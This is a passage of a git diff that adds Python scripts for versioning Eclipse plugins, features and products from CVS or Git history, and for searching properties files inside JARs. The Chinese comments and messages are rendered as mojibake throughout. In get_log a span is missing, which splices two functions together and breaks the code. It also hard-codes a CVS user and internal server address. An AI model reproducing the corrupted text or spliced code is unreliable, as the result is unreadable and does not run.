os.path.splitext(script_name)[0]))) + logging.info( + '检查完æˆï¼\n================================================================\n\n') + + +if __name__ == '__main__': + main() diff --git a/tools/pyscripts/CheckVersions.py b/tools/pyscripts/CheckVersions.py new file mode 100755 index 0000000..e51b4df --- /dev/null +++ b/tools/pyscripts/CheckVersions.py @@ -0,0 +1,804 @@ +#!/usr/bin/env python3 + +"""自动å–æ’件ã€featureã€product 的代ç çš„最åŽæ›´æ–°æ—¥æœŸï¼Œå¹¶æŒ‰æŒ‡å®šçš„规则更新相应文件中的版本å·ã€‚""" + +import os +import sys +import subprocess +import re +import logging +from xml.dom.minidom import parse + +import hsconfig + + +#################### 请修改以下å‚æ•° #################### +# 本次的检查对象ã€åŠæ¯ä¸ªæ£€æŸ¥å¯¹è±¡æ‰€å¯¹åº”的更新类型 +# å¯ç”¨çš„检查对象值:'PLUGIN', 'FEATURE', 'PRODUCT' +CHECK_TYPES = hsconfig.check_types + +# å¯ç”¨çš„更新类型值:'MAJOR', 'MINOR', 'SERVICE', 'BUILD',ä¾æ¬¡å¯¹åº”版本å·ä¸­çš„ x.y.z.date 四个值 +UPDATE_TYPES = hsconfig.update_types + +# 工作空间路径 +WS_PATH = hsconfig.workspace_path + +###### Git 专用å‚æ•° ###### +# Git ä»“åº“åœ°å€ +GIT_REPO_PATH = hsconfig.git_repo_path + +# 检查是å¦æœ‰æ›´æ–°çš„基准版本,å¯ä»¥æ˜¯ Tag 或 commit ID +LAST_BUILD_TAG = hsconfig.git_last_version_tag + +# Git 版本分支 +VCS_BRANCH = hsconfig.git_branch + + +###### CVS 专用å‚æ•° ###### +# 上次打包日期,用以å‡å°‘输出的 Log 长度 +LAST_BUILD_DATE = '2013/3/1' + +# CVS æœåŠ¡å™¨ç±»åž‹ +CVS_TYPE = 'pserver' +# CVS 用户å +CVS_USER = 'felix' +# CVS å¯†ç  +CVS_PASSWORD = '' +# CVS æœåŠ¡å™¨åœ°å€ +CVS_HOST = '192.168.0.13' +# CVS æœåŠ¡å™¨è·¯å¾„ +CVS_PATH = '/data/cvs' + + +#################### 以下å‚数若有必è¦æ—¶å¯ä¿®æ”¹ #################### +# ç›®å‰ä½¿ç”¨çš„ VCS 类型 +VCS = 'git' + +# æ’件的版本å·ä¸Ž Build å·åˆ†éš”符 +VER_SEPARATOR = 'R8b_v' + + +#################### ï¼ï¼ï¼ä»¥ä¸‹å‚æ•°ä¸è¦éšä¾¿ä¿®æ”¹ï¼ï¼ï¼ #################### +# 支æŒçš„版本控制系统类型 +SUPPORTED_VCS = ('cvs', 'git') + +# æ’件ã€featureã€product 中ä¿å­˜ç‰ˆæœ¬çš„文件 +VERSION_FILES = { + 'PLUGIN': 'META-INF/MANIFEST.MF', + 'FEATURE': 'feature.xml', + 'PRODUCT': '.product'} + +# 上述版本文件中的版本标识å‰ç¼€ +VERSION_PREFIXS = { + 'PLUGIN': 'Bundle-Version:', + 'FEATURE': 'version=', + 'PRODUCT': 'version='} + + +#################### è¿è¡Œæ—¶ä½¿ç”¨ #################### +# 项目路径 +project_pathes = [] + +# 已检查的缓存 +CHECKED = { + 'PLUGIN': [], + 'FEATURE': [], + 'PRODUCT': []} + +# 已更新的缓存 +UPDATED = { + 'PLUGIN': [], + 'FEATURE': [], + 'PRODUCT': []} + +# å‡ºé”™ä¿¡æ¯ +error_msgs = [] + + +class Vcs(): + """版本控制系统对象,æä¾›å–得更新历å²ã€ç‰ˆæœ¬å·®å¼‚输出的功能""" + def __init__(self, vcs_type=VCS, branch=VCS_BRANCH): + """åˆå§‹åŒ– VCS 类型ã€è®¤è¯ä¿¡æ¯ã€è¾“出日志的版本åŠæ—¥æœŸå‰ç¼€ç­‰""" + if vcs_type in SUPPORTED_VCS: + self.type = vcs_type + self.path = WS_PATH + self.since = LAST_BUILD_DATE + if vcs_type == 'cvs': + # CVS 登录验è¯å‚æ•°åŠå…¶å€¼ + self.cvs_auth_1 = '-d' + self.cvs_auth_2 = ':{0}:{1}:{2}@{3}:{4}'.format( + CVS_TYPE, CVS_USER, CVS_PASSWORD, CVS_HOST, CVS_PATH) + # CVS Log 内容中的日期å‰ç¼€ + self.date_prefix = 'date:' + # CVS Log 内容中的版本å‰ç¼€ + self.ver_prefix = 'revision 1.' + else: + self.path = GIT_REPO_PATH + self.since = LAST_BUILD_TAG + self.branch = branch + self.date_prefix = 'Date:' + self.ver_prefix = 'commit' + print('\n检查 {0} 中的æ’件和 Feature 自 {1} 以æ¥çš„更新版本...\n'.format( + self.path, self.since)) + logging.info('检查 {0} 中的æ’件和 Feature 自 {1} 以æ¥çš„更新版本...\n'.format( + self.path, self.since)) + else: + raise Exception('ä¸æ”¯æŒè¯¥ VCS 类型:{0}'.format(vcs_type)) + + def get_log(self, file_list, until=None): + """å–å¾— VCS 的更新历å²ä¿¡æ¯ï¼Œç›´æŽ¥è¾“出 readlines() 的结果。 + 如果使用相对路径è¦å分å°å¿ƒï¼æ³¨æ„父目录是å¦æ­£ç¡®ï¼Œå¦åˆ™æ— æ³•å¾—到预期的结果。""" + cwd = os.getcwd() + os.chdir(self.path) + if self.type == 'cvs': + # 完整的 CVS Log 命令 + log_cmd = [ + 'cvs', self.cvs_auth_1, self.cvs_auth_2, + 'log', '-S', '-d', + '{} int(vcs_date): + vcs_date = date + continue + # å– CVS æ交历å²ä¸­çš„版本 + elif line.startswith(self.ver_prefix): + version = int(line.strip().replace( + self.ver_prefix, '').split('.')[0]) + # åªå–æœ€å¤§çš„ç‰ˆæœ¬å· + if version > vcs_ver: + vcs_ver = version + + elif self.type == 'git': + for line in vcs_log: + try: + line = line.decode('utf-8') + except UnicodeDecodeError as e: + logging.warning( + '{1}\n已放弃对上一行 Git æ交历å²çš„解æžã€‚异常信æ¯å¦‚下:\n{0}'.format( + e, line)) + continue + if line.startswith(self.ver_prefix): + ver = line.replace(self.ver_prefix, '').strip() + continue + elif line.startswith(self.date_prefix): + line = line.replace(self.date_prefix, '').strip() + # 由于 Git ä¸å†æœ‰æ•°å­—å½¢å¼çš„版本å·ï¼Œæ•…把日期与时间拼起æ¥è½¬ä¸ºæ•°å­—比较大å°ï¼Œä»¥åˆ¤æ–­æ–°æ—§ + datetime = line[:10].replace( + '-', '') + line[11:19].replace(':', '') + if int(datetime) > int(vcs_date): + vcs_date = datetime + # å›  commit 总是在日期之å‰è¢«é‡æ–°å–值,所以å–到的日期总是与 commit 对应 + vcs_ver = ver + + vcs_date = vcs_date[:8] + + if vcs_date != '0' and vcs_ver != 0: + result['date'] = vcs_date[:8] + result['ver'] = vcs_ver + return result + + return None + + def get_latest_ver_and_date_except_identifier( + self, file_list, identifier_file, identifier_text, since=None): + """å–得指定的文件的最新版本和日期,排除指定的文件中的指定修改内容。""" + ver_info_left = self.get_latest_ver_and_date(file_list) + ver_info_right = self.get_latest_ver_and_date([identifier_file]) + if ver_info_right: + if not ver_info_left or ( + ver_info_left and + int(ver_info_right['date']) > int(ver_info_left['date'])): + # 左边的文件无更新ã€æˆ–有更新且日期比å³è¾¹æ—©ï¼Œåˆ™çœ‹å³è¾¹æ›´æ–°çš„内容是ä¸æ˜¯åªæœ‰ç‰ˆæœ¬å· + if not self.is_diff_only_changed_identifier( + ver_info_right['ver'], + identifier_file, + identifier_text, + since): + return ver_info_right + return ver_info_left + + def get_diff(self, ver_left, ver_right, file_list): + """å–å¾— VCS 的版本差异信æ¯ï¼Œç›´æŽ¥è¾“出 readlines() 的结果""" + cwd = os.getcwd() + os.chdir(self.path) + if self.type == 'cvs': + # cvs diff 命令 + diff_cmd = [ + 'cvs', self.cvs_auth_1, self.cvs_auth_2, + 'diff', '-r', '1.{}'.format(ver_left), + '-r', '1.{}'.format(ver_right), + file_list] + if file_list: + diff_cmd += file_list + elif self.type == 'git': + if not file_list: + file_list = ['.', ] + is_abs_path = True + for path in file_list: + if not os.path.isabs(path): + is_abs_path = False + break + if not is_abs_path: + logging.warning('使用了相对路径,å¯èƒ½å¯¼è‡´æ交历å²ä¿¡æ¯ä¸å‡†ç¡®ï¼') + + diff_cmd = [ + 'git', 'diff', + ver_left, ver_right, + '--date=iso', + '--'] + file_list + + diff_result = subprocess.Popen( + diff_cmd, stdout=subprocess.PIPE).stdout.readlines() + os.chdir(cwd) + logging.debug('命令 {0} 的执行结果:\n{1}'.format(diff_cmd, diff_result)) + return diff_result + + def is_diff_only_changed_identifier( + self, ver_right, identifier_file, identifier_text, ver_left=None): + """é€šè¿‡è§£æž VCS 的版本差异信æ¯ï¼Œåˆ¤æ–­æ˜¯å¦åªä¿®æ”¹äº†æŒ‡å®šçš„内容。""" + # è‹¥ä¸æŒ‡å®šå¯¹æ¯”的基础版本,则默认以上一次打包的版本为基础 + if not ver_left: + ver_left = self.since + vcs_diff = self.get_diff(ver_left, ver_right, [identifier_file, ]) + changed_left = [] + changed_right = [] + if self.type == 'cvs': + for line in vcs_diff: + try: + line = line.decode('utf-8') + except UnicodeDecodeError as e: + logging.info( + '{1}\n已放弃对上一行 CVS 差异信æ¯çš„解æžã€‚异常信æ¯å¦‚下:\n{0}'.format( + e, line)) + continue + if line.startswith('< '): + changed_left.append(line.strip()) + continue + elif line.startswith('> '): + changed_right.append(line.strip()) + elif self.type == 'git': + for line in vcs_diff: + try: + line = line.decode('utf-8') + except UnicodeDecodeError as e: + logging.info( + '{1}\n已放弃对上一行 Git 差异信æ¯çš„解æžã€‚异常信æ¯å¦‚下:\n{0}'.format( + e, line)) + continue + # TODO:待优化,å¯ä»¥è§£æžä»¥ ---/+++ 开头的行中的文件å以æ高准确性 + if not line.startswith('---') and not line.startswith('+++'): + if line.startswith('-'): + changed_left.append(line.strip()) + continue + elif line.startswith('+'): + changed_right.append(line.strip()) + if changed_left and changed_right: + # 说明新旧版本的唯一区别就是版本,应忽略此文件的更新记录,å³ä¿æŒä½¿ç”¨åŽŸæ¥çš„ç‰ˆæœ¬å· + if len(changed_left) == 1 and len(changed_right) == 1 \ + and identifier_text in changed_left[0] \ + and identifier_text in changed_right[0]: + logging.info('版本文件中仅更新了版本å·ï¼Œå¿½ç•¥ã€‚') + return True + return False + + def get_project_pathes(self): + """æ ¹æ® VCS 类型å–得相应的项目路径""" + project_pathes = [] + + if self.type == 'cvs': + # CVS 直接å–工作空间下的éžéšè—目录å³å¯ + for name in os.listdir(self.path): + path = os.path.join(self.path, name) + if os.path.isdir(path) and not name.startswith('.'): + project_pathes.append(path) + + elif self.type == 'git': + # åˆå§‹åŒ–è¦ç”¨åˆ°çš„ä¿¡æ¯ + project_dir_path_list = [ + '.metadata', + '.plugins', + 'org.eclipse.core.resources', + '.projects'] + project_dir_path = os.path.join( + WS_PATH, os.path.sep.join(project_dir_path_list)) + location_file = '.location' + path_prefix = 'file:' + + global error_msgs + for project_name in os.listdir(project_dir_path): + if not project_name.startswith('.'): + location_file_path = os.path.join( + project_dir_path, project_name, location_file) + try: + lfile = open(location_file_path, 'rb') + # 该文件åªæœ‰ä¸€è¡Œå†…容,将其转为 str 方便åŽé¢ç”¨æ­£åˆ™è¡¨è¾¾å¼ + location_content = str(lfile.readlines()[0]) + lfile.close() + except: + msg = '未在 Eclipse 工作空间目录 {} 中找到项目 {} çš„ Git 路径,已忽略此项目。这å¯èƒ½æ˜¯å·¥ä½œç©ºé—´ä¸­æœ‰å¤šä½™çš„ä¸å¿…è¦é¡¹ç›®ã€æˆ–有些已删除的项目在工作空间中有残留文件。如果ä¸æƒ³çœ‹åˆ°æ­¤ä¿¡æ¯ï¼Œå¯ä»¥è¯•è¯•æ¢ä¸ªå…¨æ–°çš„ã€å¹²å‡€çš„工作空间。'.format( + WS_PATH, project_name) + error_msgs.append(msg) + logging.info(msg) + continue + + # 用正则表达å¼æ¥æŸ¥æ‰¾ï¼Œæ³¨æ„:项目路径ä¸èƒ½æœ‰é™¤å¤§å°å†™å­—æ¯ã€æ•°å­—ã€/ã€.ã€-ã€_ã€\ 之外的特殊字符(例如中文ã€ç©ºæ ¼ï¼‰ + m = re.search('(?<={0})[A-Za-z0-9/\.\-_\\:]+{1}'.format( + path_prefix, project_name.replace('.', '\\.')), location_content) + if m: + project_path = m.group(0) + else: + msg = '未在 Eclipse 工作空间目录 {} 中找到项目 {} çš„ Git 路径,已忽略此项目。这å¯èƒ½æ˜¯ Eclipse 中的项目å称与 Git 中的目录åä¸ä¸€è‡´ï¼Œè‹¥è¯¥é¡¹ç›®æ˜¯å¿…须的,请将它们改为一致。'.format( + WS_PATH, project_name) + error_msgs.append(msg) + logging.info(msg) + continue + + if sys.platform == 'win32': + # Windows 下è¦åŽ»æŽ‰è·¯å¾„的起始 / 并替æ¢æ‰€æœ‰ / 为 \\ + project_path = project_path.replace('/', '\\')[1:] + + if os.path.isdir(project_path): + project_pathes.append(project_path) + else: + msg = '从 Eclipse workspace 解æžåˆ°çš„项目 {} 路径ä¸æ˜¯æœ‰æ•ˆå­˜åœ¨çš„目录,已忽略。\n该无效路径为:{}\n'.format(project_name, project_path) + error_msgs.append(msg) + logging.info(msg) + + # 结果简å•å¤„ç† + if project_pathes: + return project_pathes + else: + return None + + +class Bundle(): + """一个 PLUGINã€FEATURE 或 PRODUCT 对象,æ供检查新版本åŠæ›´æ–°ç‰ˆæœ¬å·çš„æ“作""" + def __init__(self, vcs, bundlePath, bundleTypeExpected): + '''ç±»åˆå§‹åŒ–:切æ¢åˆ°ç›®å½•ï¼Œç¡®å®šç±»åž‹ã€è¯»å–当å‰ç‰ˆæœ¬ä¿¡æ¯ã€‚''' + self.vcs = vcs + self.bundlePath = bundlePath + self.bundleTypeExpected = bundleTypeExpected + self.bundleName = os.path.split(bundlePath)[-1] + os.chdir(self.bundlePath) + if self.isTypeExpected(): + self.readCurVersion() + self.set_update_type() + + def set_update_type(self): + """æ ¹æ® Bundle 类型确定自身的版本更新类型。""" + for bundle_type in CHECK_TYPES: + if bundle_type == self.bundleTypeExpected: + self.updateType = UPDATE_TYPES[bundle_type] + + def isTypeExpected(self): + '''æ ¹æ®ç›®å½•ä¸‹æ˜¯å¦å­˜åœ¨ç‰¹å®šçš„文件æ¥åˆ¤æ–­è¯¥ç›®å½•å±žäºŽå“ªç§ç±»åž‹ã€‚ + 由于 Product 文件通常ä¿å­˜åœ¨ Feature 目录中,所以需è¦é¢å¤–çš„ isProduct å‚æ•°æ¥åˆ¤æ–­ã€‚''' + if self.bundleTypeExpected == 'PLUGIN': + if self.isPlugin(): + self.bundleType = self.bundleTypeExpected + self.versionFile = VERSION_FILES['PLUGIN'] + self.versionPrefix = VERSION_PREFIXS['PLUGIN'] + return True + elif self.bundleTypeExpected == 'FEATURE': + if self.isFeature(): + self.bundleType = self.bundleTypeExpected + self.versionFile = VERSION_FILES['FEATURE'] + self.versionPrefix = VERSION_PREFIXS['FEATURE'] + return True + elif self.bundleTypeExpected == 'PRODUCT': + if self.isProduct(): + self.bundleType = self.bundleTypeExpected + self.versionPrefix = VERSION_PREFIXS['PRODUCT'] + return True + return False + + def isPlugin(self): + return os.path.isfile(VERSION_FILES['PLUGIN']) + + def isFeature(self): + return os.path.isfile(VERSION_FILES['FEATURE']) + + def isProduct(self): + for name in os.listdir('.'): + if (not name.startswith('.')) and os.path.isfile(name) and \ + (VERSION_FILES['PRODUCT'] == os.path.splitext(name)[-1]): + self.versionFile = name # 因文件åä¸å›ºå®šï¼Œä¸€æ—¦æ‰¾åˆ°å°±å…ˆèµ‹å€¼ + return True + return False + + def readCurVersion(self): + '''从文件中读å–当å‰ç‰ˆæœ¬ï¼Œå¹¶èµ‹å€¼ç»™ curVersionList 列表''' + f = open(self.versionFile, encoding='utf-8') + curVersionStr = '' + if self.bundleType == 'PLUGIN': + for line in f: + if line.strip().startswith(self.versionPrefix): + # 字符串格å¼çš„å®Œæ•´ç‰ˆæœ¬å· + self.curVersionRaw = line.strip().replace( + self.versionPrefix, '').strip() + # 兼容 1.0.0.qualifier è¿™ç§å½¢å¼ + curVersionStr = self.curVersionRaw.replace( + 'qualifier', '0') + break + elif self.bundleType == 'FEATURE' or \ + self.bundleType == 'PRODUCT': + self.curVersionRaw = parse(f).documentElement.getAttribute( + 'version').strip() + curVersionStr = self.curVersionRaw.replace('qualifier', '0') + else: + pass + f.close() + self.curVersionList = self.versionStr2List(curVersionStr) + if len(self.curVersionList) != 4: + raise Exception('{} 的当å‰ç‰ˆæœ¬å· {} ä¸æ­£ç¡®ï¼Œè¯·ç¡®è®¤ä¸º ["8", "0", "0", "20121201"] çš„å½¢å¼ã€‚'.format(self.bundleName, self.curVersionList)) + + def writeNewVersion(self): + '''将新的版本å·å†™å…¥æ–‡ä»¶''' + if self.needsUpdate: + if len(self.curVersionList) != 4: + raise Exception('{} 的当å‰ç‰ˆæœ¬å· {} ä¸æ­£ç¡®ï¼Œè¯·ç¡®è®¤ä¸º ["8", "0", "0", "20121201"] çš„å½¢å¼ã€‚'.format(self.bundleName, self.curVersionList)) + if len(self.newVersionList) != 4: + raise Exception('{} çš„æ–°ç‰ˆæœ¬å· {} ä¸æ­£ç¡®ï¼Œè¯·ç¡®è®¤ä¸º ["8", "0", "0", "20121201"] çš„å½¢å¼ã€‚'.format(self.bundleName, self.newVersionList)) + os.chdir(self.bundlePath) + f = open(self.versionFile, 'r', encoding='utf-8') + content = '' + newVer = self.versionList2Str(self.newVersionList) + for line in f.readlines(): + if self.versionPrefix in line: + # 直接用未ç»æ›¿æ¢ qualifier 的原始版本å·æ¥æ›¿æ¢ + line = line.replace(self.curVersionRaw, newVer) + # 对产å“è¿è¡Œå‚数中的版本å·è¿›è¡Œæ›¿æ¢ï¼Œæš‚ä¸å…¼å®¹ qualifier å½¢å¼ï¼ + if self.bundleType == 'PRODUCT': + if '-Dversion=' in line: + line = line.replace('.'.join(self.curVersionList[:-1]), + '.'.join(self.newVersionList[:-1])) + elif '-Ddate=' in line: + line = line.replace( + self.curVersionList[-1], self.newVersionList[-1]) + content += line + f.close() + f = open(self.versionFile, 'w', encoding='utf-8', newline='\n') + f.write(content) + f.close() + + def versionStr2List(self, strVersion): + '''将版本å·ä»Žå­—符串转æ¢ä¸ºåˆ—表:去除 R8b_v 并按 . 分割''' + return strVersion.replace(VER_SEPARATOR, '').split('.') + + def versionList2Str(self, listVersion): + '''将版本å·åˆ—表转æ¢ä¸ºå­—符串:æ’件加上 R8b_v 并用 . 连接''' + if listVersion: + if len(listVersion) != 4: + raise Exception('{} çš„ç‰ˆæœ¬å· {} ä¸æ­£ç¡®ï¼Œè¯·ç¡®è®¤ä¸º ["8", "0", "0", "20121201"] çš„å½¢å¼ã€‚'.format(self.bundleName, listVersion)) + # é¿å…将原å‚数修改 + listVer = listVersion[:] + # æ’件需è¦åŠ ä¸Š R8b_v 分隔 + if self.bundleType == 'PLUGIN': + listVer[-1] = VER_SEPARATOR + listVer[-1] + return '.'.join(listVer) + else: + return None + + def getFileListExceptVersionFile(self): + '''获å–当å‰ç›®å½•ä¸‹ï¼Œé™¤ META-INF/MENIFEST.MF(æ’件)ã€feature.xml(功能特性) + åŠ bin 之外的文件列表。''' + cwd = os.getcwd() + os.chdir(self.bundlePath) + fileList = [] + versionFileDir, versionFileName = os.path.split(self.versionFile) + # è¦æŽ’除的一些文件 + ignoreFiles = ('bin', '.git', '.gitignore', 'CVS', '.DS_Store', 'Thumb.db') + + for filename in os.listdir('.'): + if filename not in ignoreFiles: + # 如果是版本文件所在目录,å†è¿›åŽ»åˆ—出其中的文件,以进一步排除版本文件 + if filename == versionFileDir: + for subfilename in os.listdir(versionFileDir): + if subfilename not in ignoreFiles and \ + subfilename != versionFileName: + # 转为ç»å¯¹è·¯å¾„æ¥å¤„ç†ï¼Œé¿å… Git 因为路径ä¸ä¸€è‡´å¯¼è‡´æ— æ³•æ­£ç¡®å–å¾—æ›´æ–°åŽ†å² + fileList.append(os.path.normpath( + os.path.join( + self.bundlePath, + versionFileDir, + versionFileName))) + # åªè¦ä¸æ˜¯ç‰ˆæœ¬æ–‡ä»¶æˆ–其父目录,直接å–所有第一级文件或å­æ–‡ä»¶å¤¹ï¼Œä¸ç”¨å±•å¼€æ›´æ·±å±‚级下的å­æ–‡ä»¶å¤¹ + elif filename != versionFileName: + fileList.append(os.path.normpath( + os.path.join(self.bundlePath, filename))) + os.chdir(cwd) + return fileList + + def checkNewVersion(self): + '''检查新版本(主è¦é€šè¿‡æ交日期判断)''' + print('检查 {0}:{1}'.format(self.bundleType, self.bundleName), end='\t') + logging.info('检查 {0}:{1}'.format(self.bundleType, self.bundleName)) + if self.bundleType == 'PLUGIN': + self.checkPlugin() + elif self.bundleType == 'FEATURE': + self.checkFeature() + elif self.bundleType == 'PRODUCT': + self.checkProduct() + else: + raise Exception('无效的类型:{0}'.format(self.bundleType)) + + def checkPlugin(self): + '''检查æ’件的新版本''' + self.needsUpdate = False + self.newVersionList = [] + fileList = self.getFileListExceptVersionFile() + verInfo = self.vcs.get_latest_ver_and_date_except_identifier( + fileList, + os.path.normpath(os.path.join(self.bundlePath, self.versionFile)), + self.versionPrefix) + if verInfo: + if int(verInfo['date']) > int(self.curVersionList[-1]): + self.needsUpdate = True + self.newVersionList = self.curVersionList[:] + # 直接更新 Build å· + self.newVersionList[-1] = verInfo['date'] + else: + logging.info('当å‰ç‰ˆæœ¬ä¸Žä»£ç åº“一致。') + else: + logging.info('代ç åº“暂无更新,当å‰å·²æ˜¯æœ€æ–°ç‰ˆæœ¬ã€‚') + if self.bundleName not in CHECKED[self.bundleType]: + CHECKED[self.bundleType].append(self.bundleName) + + def getFeatureIncludes(self): + '''得到包å«çš„ feature id 并以列表形å¼è¿”回''' + featureIncludes = [] + for child in parse(self.versionFile).documentElement.childNodes: + if child.nodeName == 'includes': + featureIncludes.append(child.getAttribute('id')) + return featureIncludes + + def getFeaturePlugins(self): + '''得到包å«çš„ plugin id 并以列表形å¼è¿”回''' + featurePlugins = [] + for child in parse(self.versionFile).documentElement.childNodes: + if child.nodeName == 'plugin': + featurePlugins.append(child.getAttribute('id')) + return featurePlugins + + def checkFeature(self): + '''检查 Feature 的新版本,并返回 List å½¢å¼çš„新版本''' + self.needsUpdate = False + + global CHECKED + for cache in CHECKED[self.bundleType]: + if self.bundleName in cache.keys(): + self.newVersionList = cache[self.bundleName] + logging.info('{0} 已缓存最新版本:{1}\t{2}'.format( + self.bundleName, + self.curVersionList, + self.newVersionList)) + if int(self.newVersionList[-1]) > int(self.curVersionList[-1]): + self.needsUpdate = True + return self.newVersionList + + self.newVersionList = self.curVersionList[:] + featureIncludes = self.getFeatureIncludes() + featurePlugins = self.getFeaturePlugins() + # 有下级 Feature + global project_pathes + if featureIncludes: + for feature in featureIncludes: + for project_path in project_pathes: + if feature == os.path.split(project_path)[-1]: + # 递归找到 feature Build å· + logging.info('{0}: å‘下递归至 {1} ...'.format( + self.bundleName, feature)) + subFeature = Bundle( + self.vcs, + project_path, + 'FEATURE') + subBuild = subFeature.checkFeature()[-1] + if int(subBuild) > int(self.newVersionList[-1]): + self.needsUpdate = True + self.newVersionList[-1] = subBuild + break + # 有下级æ’件 + if featurePlugins: + for plugin in featurePlugins: + for project_path in project_pathes: + if plugin == os.path.split(project_path)[-1]: + # 直接读å–本地文件,始终å‡å®šæœ¬åœ°å·²æ›´æ–°ä»£ç  + subPlugin = Bundle( + self.vcs, + project_path, + 'PLUGIN') + subBuild = subPlugin.curVersionList[-1] + if int(subBuild) > int(self.newVersionList[-1]): + self.needsUpdate = True + self.newVersionList[-1] = subBuild + break + + # å†æ£€æŸ¥ feature 自身的其他文件有没有更新 + fileList = self.getFileListExceptVersionFile() + verInfo = self.vcs.get_latest_ver_and_date_except_identifier( + fileList, + os.path.normpath(os.path.join(self.bundlePath, self.versionFile)), + self.versionPrefix) + if verInfo: + if int(verInfo['date']) > int(self.newVersionList[-1]): + self.needsUpdate = True + self.newVersionList[-1] = verInfo['date'] + + # 将检查过的 Feature å称缓存起æ¥ï¼Œä»¥å‡å°‘é‡å¤æ£€æŸ¥ + if self.bundleName not in CHECKED[self.bundleType]: + CHECKED[self.bundleType].append( + {self.bundleName: self.newVersionList}) + if self.needsUpdate: + logging.info('{0}: 在下级 Feature 或æ’件中找到更新的 Build å·ï¼š{1}'.format( + self.bundleName, self.newVersionList[-1])) + return self.newVersionList + else: + logging.info('{0}: 无下级 Feature 或æ’件,或其中无更新的 Build å·ã€‚'.format( + self.bundleName)) + return self.curVersionList + + def checkProduct(self): + '''检查产å“的新版本''' + if not self.isFeature(): + raise Exception('{} ä¸åœ¨ feature 中。'.format(self.bundleName)) + if not self.isProduct(): + raise Exception('{} ä¸æ˜¯äº§å“。'.format(self.bundleName)) + self.needsUpdate = False + bundle = Bundle( + self.vcs, + self.bundlePath, + 'FEATURE') + self.newVersionList = bundle.checkFeature() + if self.newVersionList[-1] > self.curVersionList[-1]: + self.needsUpdate = True + if self.bundleName not in CHECKED[self.bundleType]: + CHECKED[self.bundleType].append(self.bundleName) + + def changeVersion(self): + '''æ ¹æ®ä¿®æ”¹ç±»åž‹ï¼Œæ›´æ–°ä¸»æ¬¡ç‰ˆæœ¬å·''' + if self.needsUpdate: + if len(self.newVersionList) != 4: + raise Exception('{} çš„æ–°ç‰ˆæœ¬å· {} ä¸æ­£ç¡®ï¼Œè¯·ç¡®è®¤ä¸º ["8", "0", "0", "20121201"] çš„å½¢å¼ã€‚'.format(self.bundleName, self.newVersionList)) + if self.updateType == 'SERVICE': + self.verPlus(2) + elif self.updateType == 'MINOR': + self.verPlus(1) + self.verReset(2) + elif self.updateType == 'MAJOR': + self.verPlus(0) + self.verReset(1) + self.verReset(2) + else: + pass + curVersionStr = self.versionList2Str(self.curVersionList) + newVersionStr = self.versionList2Str(self.newVersionList) + UPDATED[self.bundleType].append( + [self.bundleName, curVersionStr, newVersionStr]) + else: + self.newVersionList = [] + + def verPlus(self, verIndex): + oldVer = int(self.curVersionList[verIndex]) + self.newVersionList[verIndex] = str(oldVer + 1) + + def verReset(self, verIndex): + self.newVersionList[verIndex] = '0' + + +def main(): + script_path, script_name = os.path.split(os.path.realpath(sys.argv[0])) + logging.basicConfig( + filename='{}.log'.format(os.path.splitext(script_name)[0]), + format='%(asctime)s %(message)s', + level=logging.INFO) + vcs = Vcs() + global project_pathes + project_pathes = vcs.get_project_pathes() + for bundle_type in CHECK_TYPES: + for path in project_pathes: + bundle = Bundle( + vcs, + path, + bundle_type) + if bundle.isTypeExpected(): + bundle.checkNewVersion() + bundle.changeVersion() + bundle.writeNewVersion() + newVer = bundle.versionList2Str(bundle.newVersionList) + print(bundle.curVersionRaw, newVer, '\n-', sep='\t') + logging.info('{0}\t{1}\n-'.format(bundle.curVersionRaw, newVer)) + print('=') + logging.info('检查完æˆï¼\n') + print('检查完æˆï¼\n') + + global error_msgs + if error_msgs: + for msg in error_msgs: + print(msg) + logging.info(msg) + + for bundle_type in CHECK_TYPES: + print('更新了如下 {0} 个 {1}:'.format( + len(UPDATED[bundle_type]), bundle_type)) + logging.info('更新了如下 {0} 个 {1}:'.format( + len(UPDATED[bundle_type]), bundle_type)) + for bundle in UPDATED[bundle_type]: + print(bundle[0], bundle[1], bundle[2], sep='\t') + logging.info(' '.join(bundle)) + print() + print('本次检查的日志已ä¿å­˜åœ¨ {}.log 文件中。'.format( + os.path.join(script_path, os.path.splitext(script_name)[0]))) + logging.info( + '================================================================\n\n') + + +if __name__ == '__main__': + main() diff --git a/tools/pyscripts/FindJarResource.py b/tools/pyscripts/FindJarResource.py new file mode 100755 index 0000000..1657329 --- /dev/null +++ b/tools/pyscripts/FindJarResource.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 + +''' +将指定目录下的 JAR 包解压到指定目录,并查找其中的 .properties 文件中是å¦æœ‰æŒ‡å®šå†…容。 +''' + +import os.path +import shutil +import sys + +import hsconfig + + +# è¦æŸ¥æ‰¾çš„ JAR 包所在目录,通常为目标平å°ç›®å½•ï¼Œè‹¥æœ‰å¤šä¸ªè¯·ç”¨é€—å·éš”å¼€ +# -修改我- +FIND_PATHES = hsconfig.target_platform_path + +# 解压 JAR 包的临时目录,如果ä¸å­˜åœ¨ä¼šè‡ªåŠ¨åˆ›å»ºï¼Œè‹¥æ— æƒé™ä¼šæŠ¥é”™ +# -修改我- +TMP_PATH = hsconfig.temp_path + + +def getJarPathes(sourcePathes): + '''å–得指定目录下的所有 JAR 包路径,放在列表中返回''' + jars = [] + for sourcePath in sourcePathes: + if not os.path.isdir(sourcePath): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼'.format(sourcePath)) + for root, dirs, files in os.walk(sourcePath): + for name in files: + path = os.path.join(root, name) + if '.jar' == os.path.splitext(path)[-1]: + jars.append(path) + if not jars: + raise Exception('未找到 jar 包。') + print('找到 {} 个 JAR 文件'.format(len(jars))) + return jars + + +def unzipJars(jarPathes): + '''解压所有 JAR 包到临时目录''' + print('正在解压 JAR 文件...') + if not os.path.exists(TMP_PATH): + os.mkdir(TMP_PATH) + tmpPathes = [] + for jar in jarPathes: + jarName = os.path.basename(jar) + tmpPath = os.path.join(TMP_PATH, jarName.replace('.jar', '')) + if not os.path.exists(tmpPath): + shutil.unpack_archive(jar, tmpPath, 'zip') + tmpPathes.append(tmpPath) + if not tmpPathes: + raise Exception('未能将 jar 包解压到临时目录。') + return tmpPathes + + +def findString(findPathes, strToFind): + '''找到所有 .properties 文件中的指定内容,并打å°å‡ºæ¥''' + print('正在资æºæ–‡ä»¶ä¸­æŸ¥æ‰¾ {}...'.format(strToFind)) + findCount = 0 + fileCount = 0 + resultCount = 0 + for findPath in findPathes: + for root, dirs, files in os.walk(findPath): + for name in files: + path = os.path.join(root, name) + if '.properties' == os.path.splitext(path)[-1]: + findCount += 1 + found = False + prop = open(path) + for line in prop: + if strToFind in line: + found = True 